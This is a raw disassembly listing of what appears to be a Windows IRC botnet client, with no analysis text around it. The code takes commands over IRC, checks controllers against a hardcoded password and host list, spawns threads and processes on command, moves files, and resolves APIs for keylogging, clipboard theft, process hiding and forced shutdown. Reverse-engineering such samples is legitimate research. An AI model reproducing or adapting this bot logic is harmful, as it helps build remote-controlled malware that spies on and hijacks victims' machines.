imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406A45
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_439F88
jmp loc_403B1D
; ---------------------------------------------------------------------------
loc_406A3D: ; CODE XREF: sub_401C87+4DC4j
push 32h
call dword_4E033C ; Sleep
loc_406A45: ; CODE XREF: sub_401C87+4DA3j
cmp [ebp+var_11C4], ebx
jz short loc_406A3D
jmp loc_403B2C
; ---------------------------------------------------------------------------
loc_406A52: ; CODE XREF: sub_401C87+3F50j
; sub_401C87+3F65j
mov edi, 0FFh
lea eax, [ebp+var_F38]
push edi
push [ebp+arg_10]
push eax
call sub_417760
push edi
lea eax, [ebp+var_E38]
push [ebp+arg_0]
push eax
call sub_417760
push [ebp+arg_18]
mov [ebp+var_D34], ebx
call sub_417960
mov [ebp+var_D30], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_406AAD
push 10h
push ebx
push eax
call sub_418560
add esp, 0Ch
mov [ebp+var_D28], eax
jmp short loc_406AB3
; ---------------------------------------------------------------------------
loc_406AAD: ; CODE XREF: sub_401C87+4E10j
mov [ebp+var_D28], ebx
loc_406AB3: ; CODE XREF: sub_401C87+4E24j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_406ACA
push esi
call sub_417960
pop ecx
mov [ebp+var_D2C], eax
jmp short loc_406AD0
; ---------------------------------------------------------------------------
loc_406ACA: ; CODE XREF: sub_401C87+4E32j
mov [ebp+var_D2C], ebx
loc_406AD0: ; CODE XREF: sub_401C87+4E41j
movzx eax, [ebp+var_967]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_D24], eax
lea eax, [ebp+var_FB8]
mov [ebp+var_FBC], esi
push eax
call sub_417760
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov [ebp+var_D20], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
mov [ebp+var_D1C], edi
push offset unk_439FCC
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_2C8]
push 1Dh
push eax
call sub_409663
add esp, 28h
mov [ebp+var_D38], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FBC]
push ebx
push eax
push offset sub_410C53
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_D38]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406B83
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_439FF8
jmp loc_403B1D
; ---------------------------------------------------------------------------
loc_406B7B: ; CODE XREF: sub_401C87+4F02j
push 32h
call dword_4E033C ; Sleep
loc_406B83: ; CODE XREF: sub_401C87+4EE1j
cmp [ebp+var_D18], ebx
jz short loc_406B7B
jmp loc_403B2C
; ---------------------------------------------------------------------------
loc_406B90: ; CODE XREF: sub_401C87+3F26j
; sub_401C87+3F3Bj
push 7Fh
lea eax, [ebp+var_1918]
push [ebp+arg_10]
push eax
call sub_417760
push [ebp+arg_0]
call sub_417960
push 3Fh
mov [ebp+var_17C8], eax
push [ebp+arg_18]
lea eax, [ebp+var_1898]
push eax
call sub_417760
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_406BE0
push 3Fh
lea eax, [ebp+var_1858]
push esi
push eax
call sub_417760
add esp, 0Ch
loc_406BE0: ; CODE XREF: sub_401C87+4F45j
lea eax, [ebp+var_1898]
mov [ebp+var_17C4], 1
push eax
lea eax, [ebp+var_1918]
push [ebp+var_17C8]
push eax
lea eax, [ebp+var_2C8]
push offset dword_43A038
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 1Fh
push eax
call sub_409663
add esp, 20h
mov [ebp+var_17C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_191C]
push ebx
push eax
push offset sub_4019A5
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_17C0]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406C6F
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset dword_43A068
jmp loc_405E91
; ---------------------------------------------------------------------------
loc_406C67: ; CODE XREF: sub_401C87+4FEEj
push 32h
call dword_4E033C ; Sleep
loc_406C6F: ; CODE XREF: sub_401C87+4FCDj
cmp [ebp+var_17BC], ebx
jz short loc_406C67
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_406C7C: ; CODE XREF: sub_401C87+3EEAj
; sub_401C87+3EFFj
push [ebp+arg_0]
push [ebp+arg_10]
call dword_4E0374 ; MoveFileA
test eax, eax
jz short loc_406CAD
push [ebp+arg_0]
lea eax, [ebp+var_2C8]
push [ebp+arg_10]
push offset unk_43A0A4
push 200h
push eax
call sub_417E80
jmp loc_403D50
; ---------------------------------------------------------------------------
loc_406CAD: ; CODE XREF: sub_401C87+5003j
push offset dword_43A0C8
call sub_411B50
push eax
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_417E80
add esp, 10h
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_406CD1: ; CODE XREF: sub_401C87+3EC0j
; sub_401C87+3ED5j
push [ebp+arg_10]
lea eax, [ebp+var_172C]
push 104h
push eax
call sub_417E80
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_406D0D
push [ebp+arg_0]
push [ebp+var_C]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz short loc_406D0D
push eax
lea eax, [ebp+var_1628]
push eax
call sub_417CB0
pop ecx
pop ecx
loc_406D0D: ; CODE XREF: sub_401C87+5064j
; sub_401C87+5075j
push [ebp+var_8C]
lea eax, [ebp+var_17AC]
push 80h
push eax
call sub_417E80
mov eax, [ebp+arg_4]
mov [ebp+var_17B0], eax
mov eax, [ebp+var_4]
mov [ebp+var_1520], eax
mov eax, [ebp+var_8]
mov [ebp+var_151C], eax
lea eax, [ebp+var_1628]
push eax
lea eax, [ebp+var_172C]
push eax
push offset unk_43A0D4
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_417E80
push ebx
lea eax, [ebp+var_2C8]
push 24h
push eax
call sub_409663
add esp, 2Ch
mov [ebp+var_1524], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_17B0]
push ebx
push eax
push offset sub_4114F1
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_1524]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406DD2
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_43A104
loc_406DB6: ; CODE XREF: sub_401C87+8F1j
; sub_401C87+A1Cj ...
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 0Ch
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_406DCA: ; CODE XREF: sub_401C87+5151j
push 32h
call dword_4E033C ; Sleep
loc_406DD2: ; CODE XREF: sub_401C87+5121j
cmp [ebp+var_1518], ebx
jz short loc_406DCA
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_406DDF: ; CODE XREF: sub_401C87+3E96j
; sub_401C87+3EABj
push 44h
lea eax, [ebp+var_870]
pop esi
push esi
push ebx
push eax
call sub_417700
push [ebp+arg_10]
xor edi, edi
inc edi
mov [ebp+var_870], esi
mov [ebp+var_844], edi
mov [ebp+var_840], bx
call sub_417960
add esp, 10h
cmp eax, edi
jnz short loc_406E1E
mov [ebp+var_840], 5
loc_406E1E: ; CODE XREF: sub_401C87+518Cj
cmp [ebp+var_C], ebx
jz loc_405EA0
push [ebp+arg_0]
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_405EA0
lea eax, [ebp+var_8C0]
push eax
lea eax, [ebp+var_870]
push eax
push ebx
push ebx
push 28h
push edi
push ebx
push ebx
push esi
push ebx
call dword_4E0330 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2C8]
jnz short loc_406E6F
push offset unk_43A140
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_406E6F: ; CODE XREF: sub_401C87+51DCj
push esi
push offset dword_43A164
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_406E7A: ; CODE XREF: sub_401C87+3E6Cj
; sub_401C87+3E81j
push [ebp+arg_0]
push offset aJav0 ; "Jav0"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406FF1
lea eax, [ebp+var_AD0]
push eax
push 104h
call dword_4E0370 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_F38]
push [ebp+arg_10]
push eax
call sub_417760
lea eax, [ebp+var_8CC]
push eax
call sub_409047
push eax
lea eax, [ebp+var_AD0]
push eax
lea eax, [ebp+var_E38]
push offset dword_43A180
push eax
call sub_417CB0
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_D34], 1
mov [ebp+var_D30], ebx
jz short loc_406F0E
push 10h
push ebx
push eax
call sub_418560
add esp, 0Ch
mov [ebp+var_D28], eax
jmp short loc_406F14
; ---------------------------------------------------------------------------
loc_406F0E: ; CODE XREF: sub_401C87+5271j
mov [ebp+var_D28], ebx
loc_406F14: ; CODE XREF: sub_401C87+5285j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_406F2E
push esi
call sub_417960
pop ecx
mov [ebp+var_D2C], eax
jmp short loc_406F34
; ---------------------------------------------------------------------------
loc_406F2E: ; CODE XREF: sub_401C87+5296j
mov [ebp+var_D2C], ebx
loc_406F34: ; CODE XREF: sub_401C87+52A5j
movzx eax, [ebp+var_967]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_D24], eax
lea eax, [ebp+var_FB8]
mov [ebp+var_FBC], esi
push eax
call sub_417760
mov eax, [ebp+var_4]
push [ebp+arg_10]
mov [ebp+var_D1C], eax
mov eax, [ebp+var_8]
mov [ebp+var_D20], eax
lea eax, [ebp+var_2C8]
push offset dword_43A18C
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_2C8]
push 1Eh
push eax
call sub_409663
add esp, 24h
mov [ebp+var_D38], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FBC]
push ebx
push eax
push offset sub_410C53
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_D38]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406FE4
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset dword_43A1B8
jmp loc_405E91
; ---------------------------------------------------------------------------
loc_406FDC: ; CODE XREF: sub_401C87+5363j
push 32h
call dword_4E033C ; Sleep
loc_406FE4: ; CODE XREF: sub_401C87+5342j
cmp [ebp+var_D18], ebx
jz short loc_406FDC
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_406FF1: ; CODE XREF: sub_401C87+5204j
push offset dword_43A1F8
loc_406FF6: ; CODE XREF: sub_401C87+2823j
; sub_401C87+2DE6j ...
lea eax, [ebp+var_2C8]
loc_406FFC: ; CODE XREF: sub_401C87+2E6Ej
; sub_401C87+2E78j ...
push eax
call sub_417CB0
pop ecx
pop ecx
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_407009: ; CODE XREF: sub_401C87+3E42j
; sub_401C87+3E57j
push [ebp+arg_0]
lea eax, [ebp+var_2C8]
push offset aPartS ; "PART %s"
push eax
call sub_417CB0
push [ebp+arg_10]
call sub_417960
add esp, 10h
test eax, eax
jle loc_40743C
push [ebp+arg_10]
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
lea eax, [ebp+var_2C8]
push eax
push offset aS_26 ; "%s\r\n"
loc_407050: ; CODE XREF: sub_401C87+3973j
; sub_401C87+5436j
push [ebp+arg_10]
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_407604
jmp loc_40426B
; ---------------------------------------------------------------------------
loc_40706F: ; CODE XREF: sub_401C87+3E18j
; sub_401C87+3E2Dj
push [ebp+esi+var_88]
lea eax, [ebp+var_2C8]
push [ebp+arg_0]
push offset aJoinSS_2 ; "JOIN %s %s"
push eax
call sub_417CB0
push [ebp+arg_10]
call sub_417960
add esp, 14h
test eax, eax
jle loc_40743C
push [ebp+arg_10]
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
lea eax, [ebp+var_2C8]
push eax
push offset aS_27 ; "%s\r\n"
jmp short loc_407050
; ---------------------------------------------------------------------------
loc_4070BF: ; CODE XREF: sub_401C87+3DEEj
; sub_401C87+3E03j
push [ebp+arg_0]
lea eax, [ebp+var_2C8]
push offset aNickS_2 ; "NICK %s"
push eax
call sub_417CB0
mov esi, [ebp+arg_10]
push esi
call sub_417960
add esp, 10h
test eax, eax
jle loc_40743C
push esi
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
lea eax, [ebp+var_2C8]
push eax
push offset aS_28 ; "%s\r\n"
push esi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_407604
push [ebp+arg_0]
push esi
push offset dword_43A274
loc_407126: ; CODE XREF: sub_401C87+3688j
; sub_401C87+3B55j ...
call sub_40F99B
jmp loc_403F11
; ---------------------------------------------------------------------------
loc_407130: ; CODE XREF: sub_401C87+3DC4j
; sub_401C87+3DD9j
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_0]
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_407161
push esi
lea eax, [ebp+var_2C8]
push offset dword_43A290
push eax
call sub_417CB0
add esp, 0Ch
loc_407161: ; CODE XREF: sub_401C87+54C3j
mov edi, [ebp+arg_10]
push edi
call sub_417960
test eax, eax
pop ecx
jle loc_40743C
push edi
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
lea eax, [ebp+var_2C8]
push eax
push offset dword_43A298
push edi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_407604
push esi
push edi
push offset dword_43A2A0
jmp loc_407126
; ---------------------------------------------------------------------------
loc_4071B5: ; CODE XREF: sub_401C87+3D9Aj
; sub_401C87+3DAFj
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_0]
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40743C
mov edi, [ebp+arg_10]
push edi
call sub_417960
test eax, eax
pop ecx
jle loc_40743C
push edi
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
push esi
push offset dword_43A2BC
push edi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_407604
push esi
push edi
push offset dword_43A2C4
jmp loc_407126
; ---------------------------------------------------------------------------
loc_407223: ; CODE XREF: sub_401C87+3D70j
; sub_401C87+3D85j
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_10]
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40743C
push esi
push offset dword_43A2E0
push [ebp+arg_4]
call sub_407604
push esi
push offset unk_43A2EC
jmp loc_4057F9
; ---------------------------------------------------------------------------
loc_40725C: ; CODE XREF: sub_401C87+3D46j
; sub_401C87+3D5Bj
push [ebp+var_90]
push offset a332_2 ; "332"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40622C
push [ebp+arg_0]
push offset aPartS_0 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_407604
push [ebp+arg_10]
call sub_417960
imul eax, 3E8h
add esp, 10h
push eax
call dword_4E033C ; Sleep
push [ebp+esi+var_88]
push [ebp+arg_0]
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_407604
push offset dword_43A328
call sub_40F927
jmp loc_4057FE
; ---------------------------------------------------------------------------
loc_4072C4: ; CODE XREF: sub_401C87+3D1Cj
; sub_401C87+3D31j
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_10]
call sub_414EC0
push edi
mov esi, eax
call sub_414EC0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417E00
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40743C
push esi
lea eax, [ebp+var_2C8]
push offset dword_43A33C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_40764A
push esi
push [ebp+arg_10]
push offset unk_43A348
call sub_40F99B
add esp, 2Ch
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_407336: ; CODE XREF: sub_401C87+3CF2j
; sub_401C87+3D07j
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_10]
call sub_414EC0
push edi
mov esi, eax
call sub_414EC0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417E00
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40743C
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_40764A
push esi
push [ebp+arg_10]
push offset unk_43A364
call sub_40F99B
add esp, 20h
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_407390: ; CODE XREF: sub_401C87+3CC8j
; sub_401C87+3CDDj
cmp [ebp+var_C], ebx
jz loc_40622C
push [ebp+arg_0]
push [ebp+var_C]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz loc_40622C
push eax
push [ebp+arg_10]
call sub_40F82F
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
push offset unk_43A384
push eax
call sub_417CB0
add esp, 14h
jmp loc_40607B
; ---------------------------------------------------------------------------
loc_4073D3: ; CODE XREF: sub_401C87+3C9Ej
; sub_401C87+3CB3j
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_411F66
jmp loc_403D84
; ---------------------------------------------------------------------------
loc_4073EF: ; CODE XREF: sub_401C87+E72j
; sub_401C87+E87j
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_95C], bl
setnz al
push eax
lea eax, [ebp+var_304]
push dword_4370A0
push eax
call sub_409361
lea eax, [ebp+var_304]
push eax
push offset aNickS_3 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_407604
lea eax, [ebp+var_304]
push eax
push offset unk_43A3B0
call sub_40F99B
loc_407439: ; CODE XREF: sub_401C87+42A2j
add esp, 24h
loc_40743C: ; CODE XREF: sub_401C87+62Aj
; sub_401C87+636j ...
mov eax, [ebp+arg_24]
jmp loc_4075FF
; ---------------------------------------------------------------------------
loc_407444: ; CODE XREF: sub_401C87+A82j
; sub_401C87+A97j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_40622C
cmp [ebp+var_A4], ebx
jnz loc_40622C
push offset asc_43A3D4 ; "!~"
push [ebp+var_94]
call sub_418AC0
mov esi, eax
push offset dword_4D6520
push ebx
inc esi
call sub_418AC0
push (offset asc_43A3D4+2)
push eax
call sub_418AC0
push [ebp+arg_10]
mov edi, eax
push offset a_a159753acdb ; "_A159753AcDb"
call sub_418A30
add esp, 20h
test eax, eax
jz short loc_4074EC
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_407604
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_407604
push edi
push esi
push offset unk_43A42C
loc_4074D8: ; CODE XREF: sub_401C87+58BEj
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 30h
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_4074EC: ; CODE XREF: sub_401C87+5818j
mov [ebp+arg_24], ebx
loc_4074EF: ; CODE XREF: sub_401C87+5885j
mov eax, [ebp+arg_24]
push edi
push off_437154[eax]
call sub_4099B6
pop ecx
test eax, eax
pop ecx
jnz short loc_407547
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_4074EF
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_407604
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_407604
push edi
push esi
push offset unk_43A4AC
jmp short loc_4074D8
; ---------------------------------------------------------------------------
loc_407547: ; CODE XREF: sub_401C87+587Bj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40754C: ; CODE XREF: sub_401C87+58E6j
cmp [edi], bl
jnz short loc_407563
push [ebp+arg_10]
push offset a_a159753acdb ; "_A159753AcDb"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_407574
loc_407563: ; CODE XREF: sub_401C87+58C7j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40754C
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_407574: ; CODE XREF: sub_401C87+58DAj
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_B60]
push 7Fh
push eax
push esi
call sub_417760
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4075AB
push ebx
push [ebp+var_4]
push offset unk_43A4D8
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_4075AB: ; CODE XREF: sub_401C87+5908j
lea eax, [ebp+var_C0]
push eax
push offset unk_43A4F8
jmp loc_402213
; ---------------------------------------------------------------------------
loc_4075BC: ; CODE XREF: sub_401C87+202j
; sub_401C87+217j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_407604
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_407604
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_407604
add esp, 2Ch
mov dword_4D6514, edi
loc_4075FD: ; CODE XREF: sub_401C87+E9j
; sub_401C87+F5j ...
mov eax, edi
loc_4075FF: ; CODE XREF: sub_401C87+2554j
; sub_401C87+2576j ...
pop edi
pop esi
pop ebx
leave
retn
sub_401C87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407604 proc near ; CODE XREF: sub_401B0B+3Dp
; sub_401C87+1BFp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_418C10
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
leave
retn
sub_407604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40764A proc near ; CODE XREF: sub_401C87+4F3p
; sub_401C87+1371p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice_2 ; "NOTICE"
jnz short loc_407665
mov edi, offset aPrivmsg_2 ; "PRIVMSG"
loc_407665: ; CODE XREF: sub_40764A+14j
push edi
call sub_414EC0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_414EC0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_12 ; "%s"
push esi
push eax
call sub_417E80
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_417CB0
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4076E3
push 7D0h
call dword_4E033C ; Sleep
locret_4076E3: ; CODE XREF: sub_40764A+8Cj
leave
retn
sub_40764A endp
; =============== S U B R O U T I N E =======================================
sub_4076E5 proc near ; CODE XREF: sub_401404+4Bp
push ebx
push ebp
mov ebp, dword_4E0360
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4E0380
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_407805
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4D6714, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4D6688, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4D666C, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4D657C, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4D6528, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4D6558, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4D65D0, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4D66C8, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4D6720, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4D6588, eax
call esi ; GetProcAddress
cmp dword_4D6714, ebx
mov dword_4D6570, eax
jz short loc_4077E3
cmp dword_4D6688, ebx
jz short loc_4077E3
cmp dword_4D666C, ebx
jz short loc_4077E3
cmp dword_4D657C, ebx
jz short loc_4077E3
cmp dword_4D6558, ebx
jz short loc_4077E3
cmp dword_4D65D0, ebx
jz short loc_4077E3
cmp dword_4D66C8, ebx
jz short loc_4077E3
cmp dword_4D6720, ebx
jz short loc_4077E3
cmp dword_4D6588, ebx
jz short loc_4077E3
cmp eax, ebx
jnz short loc_4077ED
loc_4077E3: ; CODE XREF: sub_4076E5+B8j
; sub_4076E5+C0j ...
mov dword_4D6724, 1
loc_4077ED: ; CODE XREF: sub_4076E5+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4D66A0, eax
jz short loc_40781A
push 1
push ebx
call eax ; DnsFlushResolverCache
jmp short loc_40781A
; ---------------------------------------------------------------------------
loc_407805: ; CODE XREF: sub_4076E5+1Dj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6728, eax
mov dword_4D6724, 1
loc_40781A: ; CODE XREF: sub_4076E5+117j
; sub_4076E5+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4E037C ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40792F
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4D66C4, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4D6674, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4D6608, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4D6718, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4D6638, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4D6658, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4D66BC, eax
call esi ; GetProcAddress
cmp dword_4D66C4, ebx
mov dword_4D65A8, eax
jz short loc_4078D3
cmp dword_4D6674, ebx
jz short loc_4078D3
cmp dword_4D6608, ebx
jz short loc_4078D3
cmp dword_4D6718, ebx
jz short loc_4078D3
cmp dword_4D6638, ebx
jz short loc_4078D3
cmp dword_4D6658, ebx
jz short loc_4078D3
cmp dword_4D66BC, ebx
jz short loc_4078D3
cmp eax, ebx
jnz short loc_4078DD
loc_4078D3: ; CODE XREF: sub_4076E5+1B8j
; sub_4076E5+1C0j ...
mov dword_4D672C, 1
loc_4078DD: ; CODE XREF: sub_4076E5+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4D6634, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4D653C, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4D6604, eax
call esi ; GetProcAddress
cmp dword_4D6634, ebx
mov dword_4D65EC, eax
jz short loc_40793A
cmp dword_4D653C, ebx
jz short loc_40793A
cmp dword_4D6604, ebx
jz short loc_40793A
cmp eax, ebx
jnz short loc_407944
jmp short loc_40793A
; ---------------------------------------------------------------------------
loc_40792F: ; CODE XREF: sub_4076E5+144j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6730, eax
loc_40793A: ; CODE XREF: sub_4076E5+232j
; sub_4076E5+23Aj ...
mov dword_4D672C, 1
loc_407944: ; CODE XREF: sub_4076E5+246j
